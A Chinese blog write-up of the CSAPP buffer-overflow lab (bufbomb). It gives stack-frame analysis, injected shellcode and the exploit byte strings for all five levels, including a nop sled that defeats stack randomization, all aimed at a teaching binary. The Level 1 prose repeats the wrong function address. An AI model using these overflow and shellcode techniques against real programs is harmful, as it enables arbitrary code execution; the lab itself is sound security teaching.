【CSAPP】 lab3
CSAPP lab3 bufboomb
本次实验的project为buflab,这个lab比上次lab2有意思多了,上次主要是读汇编代码太恶心了点,许多太难理解了。这次的lab主要为详细描述缓冲区溢出的shellcode编写,每个小的case非常有意思,花了差不多大概四天的时间,利用每天晚上的时间,终于把五个case全部通过,通过这5个case基本熟悉了shellcode的编写和缓冲区溢出的攻击原理,本质是利用堆栈模型的漏洞,利用函数返回值的跳转来进行不同的跳转。
- 首先我们需要了解程序的调用过程和基本的汇编命令的指令的原理:
call指令的执行原理:Call address,将下一条指令的地址入栈,然后跳转到address对应的指令。1
2push [next]
jmp addressret指令的执行原理,ret将栈顶的数据出栈送入到eip寄存器,然后进行跳转。1
2pop %eip,
jmp- 堆栈中
procedure的调用的基本过程,将被调用的函数的参数从右至左依次入栈;将下一条指令入栈,跳转到函数进行执行;进入到被执行的函数时,首先会将当前的ebp入栈。
搞清楚以上三点的信息后,对这5个case就能非常熟悉和了解了。
题目
关于getbuf函数的原型:1
2
3
4
5
6
7
8/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
我们可以看到getbuf函数中栈上的申请的字符串的长度为32,我们缓冲区的溢出的原理也是对buf的空间进行连续的填充,直到将getbuf函数的返回指令的地址用我们自定义的地址进行覆盖,从而执行完getbuf函数后,在返回时将会跳转到我们所需要的地址即可。我们同时仔细分析一下getbuf函数的汇编代码如下:1
2
3
4
5
6
7
8
9
10080491f4 <getbuf>:
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
从汇编代码中可以知道buff的偏移地址第(0x28 + 8)存储的为函数返回地址,所以我们只需要将offset = (0x28 + 8)的空间进行自定义填充即可,以下所有的题目基本上都类似的原理。
1. Level 0: Candle
- 题目非常简单,只是要求能够正确执行函数
smoke即可,我们只需要将smoke函数的地址写入getbuf的返回地址即可,我们只需要将08048c18写入返回地址即可。
1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 082. Level 1: Sparkler
- 题目非常简单,只是要求能够正确执行函数
fizz即可,我们只需要将fizz函数的地址写入getbuf的返回地址即可,我们只需要将08048c18写入返回地址即可,与level1不一样的是还需要把参数val参数传入,并且此时参数的值为cookie的值,我们知道参数的偏移地址offset = (0x28 + 12),我们只需要在此偏移处填入cookie的值即可。
1
31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 42 8c 04 08 08 d1 08 04 003.Level 2: Firecracker
- 这个稍微复杂点,只是要求能够正确执行函数
bang,并且要求global_value的值与cookie的值相等,这就要求我们不仅返回执行bang函数,还需要对global_value的值进行更改。此题需要在栈上写入指令,并且执行栈上的指令修改全局变量的值,执行完成后跳转到bang函数即可。 - 我们通过C语言写入汇编代码,然后进行编译翻译成机器指令即可,再将填入到栈中即可,需要执行的指令如下:
1
2
3
4
5
6void test(){
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("mov %eax,0x804d100"); // global_value = cookie
__asm__("push $0x08048c9d"); // set bang return address
__asm__("ret");
}
- 本次即需要两次跳转,第一次跳转到栈上的指令起始地址
0x55682fb8,设置全局变量;执行完成指令后进行第二次跳转到bang函数的入口地址0x08048c9d,最后的结果为:1
b8 84 c3 30 68 a3 00 d1 04 08 68 9d 8c 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55
4. Level 3: Dynamite
- 这个就比较复杂,需要改变
test函数的执行逻辑,这就要求我们不仅返回执行bang函数,还需要对global_value的值进行更改,并且保证test函数最终能够正常运行。test函数原本逻辑如下所示:如果按照正常逻辑,1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}getbuf的返回值为1,而本题要求val == cookie,这就要求返回值为cookie,我们通过修改getbuf的返回值为cookie即可。我们仔细阅读汇编代码如下:函数的返回值实际存放在1
2
38048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>%eax寄存器中,我们只需要修改%eax寄存器的值为cookie即可。本题还有比较关键的一点,我们在进行写缓冲区时把test函数的%ebp寄存器破坏掉了,我们返回前还需要恢复%ebp寄存器即可,我们通过gdb调试可以知道%ebp寄存器的地址为0X55683010。恢复的地址和修改寄存器的代码如下:我们通过上述编译后,将代码写入到栈上即可,并同时将1
2
3
4
5
6void test(){
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("mov $0X55683010, %ebp"); // resume ebp register
__asm__("push $0x08048dbe"); // set return address
__asm__("ret");
}getbuf函数的返回地址设置为上述指令的起始地址即可。最终的buffer为:1
b8 84 c3 30 68 68 de 8d 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55
5. Level 4: Nitroglycerin
- 本题与第
4题相似,但是比较复杂的处理在于栈的地址为动态变换的,此时我们就不可能像之前处理那样,栈的返回地址直接写为固定,此时我们需要用到nop sleds。这个所谓的难点也并不复杂,表示我们可以将机器指令全部设置为nop,在nop之后紧挨着执行我们的修改指令,因此我们只需要保证跳转指令一定能够跳转到nop指令段中即可,题目中所谓的随机栈地址的范围变化为[-240,240]之间进行变动,我们只需要设定某个值保证跳转一定能够跳转到nop指令即可。 - 此处我们将
512个字节的内容全部设置为nop,只要保证指令一定能够跳转nop区间即可,因为nop执行结束后紧挨着即为我们需要执行的指令。 - 我们同时还需要恢复
ebp寄存器,我们仔细观察ebp寄存器实际为esp地址偏移0x28即可。因为地址从高往低增长,所以$ebp = $esp + 28,我们可以通过汇编代码得知。1
2
3
4
5
6
7
808048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>我们通过上述编译后,将代码写入到栈上即可,并同时将1
2
3
4
5
6
7
8void test(){
__asm__("mov %esp,%eax"); // resume ebp register
__asm__("add $0x28,%eax");
__asm__("mov %eax,%ebp");
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("push $0x8048e3a"); // set return address
__asm__("ret");
}getbuf函数的返回地址设置为0x55682eb8。最终的buffer为:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
5890 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 89 e0 83 c0
28 89 c5 b8 84 c3 30 68 68 3a
8e 04 08 c3 b8 2e 68 55总结
总的来说,lab3的代码比lab2有趣多了,非常考验逻辑思维能力,通过学习对机器指令的执行过程有了非常熟悉的了解,也对缓冲区攻击的基本原理有了深刻的理解,当然实际的攻击过程远远比这复杂的多。计算机技术需要学习的技巧太多了。
#
欢迎关注和打赏,感谢支持!
- 关注我的博客: http://mikemeng.org/
- 关注我的知乎:https://www.zhihu.com/people/da-hua-niu
- 关注我的微信公众号: 公务程序猿
